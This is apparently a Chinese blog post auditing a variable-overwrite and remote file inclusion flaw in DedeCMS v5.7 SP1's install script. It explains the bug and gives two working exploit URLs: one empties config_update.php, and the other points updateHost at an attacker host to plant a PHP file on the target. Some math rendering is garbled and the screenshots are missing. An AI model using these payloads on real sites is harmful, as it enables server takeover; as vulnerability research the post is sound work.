dedecmsv5.7sp1远程文件包含漏洞审计

漏洞在/install/index.php(index.php.bak)文件中,漏洞起因是$$符号使用不当,导致变量覆盖以至于最后引起远程文件包含漏洞。
1.代码覆盖


这段代码段就是变量覆盖产生的地方,大致意思是将get,post或者cookie方式传入的值通过foreach以键值对的方式输出,例如在url中输入 ?hi=hello,则 k 的 值 就 是 s t r , _k的值就是str, kstr_v的值就是hello 所以 KaTeX parse error: Expected '}', got 'EOF' at end of input: {_K}就是$hi,这里很明显的变量覆盖了。

2.利用变量覆盖构造远程文件包含
在这里插入图片描述
分析这段漏洞代码,我们可以知道首先引入了**…/data/admin/config_update.php**这个文件。内容为:
在这里插入图片描述

变量updateHost由该文件引入,远程去访问http://updatenew.dedecms.com/base-v57/dedecms/demodata.{KaTeX parse error: Expected 'EOF', got '}' at position 7: s_lang}̲.txt这个文件***(s_lang为带输入的文件变量名)***,通过file_get_contents函数将 内容写入,写入到$install_demo_name中,如果内容存在就提示存在,如果不存在就报错。

3.漏洞复现
首先访问/install/index.php
在这里插入图片描述
存在。构造payload再次访问,此时***清空config_update.php文件***。
/install/index.php?step=11&s_lang=Quanqua&insLockfile=Quanqua&install_demo_name=…/data/admin/config_update.php
在这里插入图片描述

因为远程肯定不存在demodata.Quanqua.txt并且此时有***&install_demo_name=…/data/admin/config_update.php***,相当于重新创建了一个空文件config_update.php,覆盖了原来的config_update.php。可以看到此时文件已经被清空。
在这里插入图片描述
这时可以利用变量覆盖来远程包含我们的文件了。
/install/index.php?step=11&s_lang=Quanqua&insLockfile=Quanqua&install_demo_name=…/Quanqua.php&updateHost=http://127.0.0.1/
在这里插入图片描述
在这里插入图片描述

此时我们本地的/Quanqua.txt文件已经写入目标服务器,并且重新命名为/Quanqua.php。
在这里插入图片描述

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值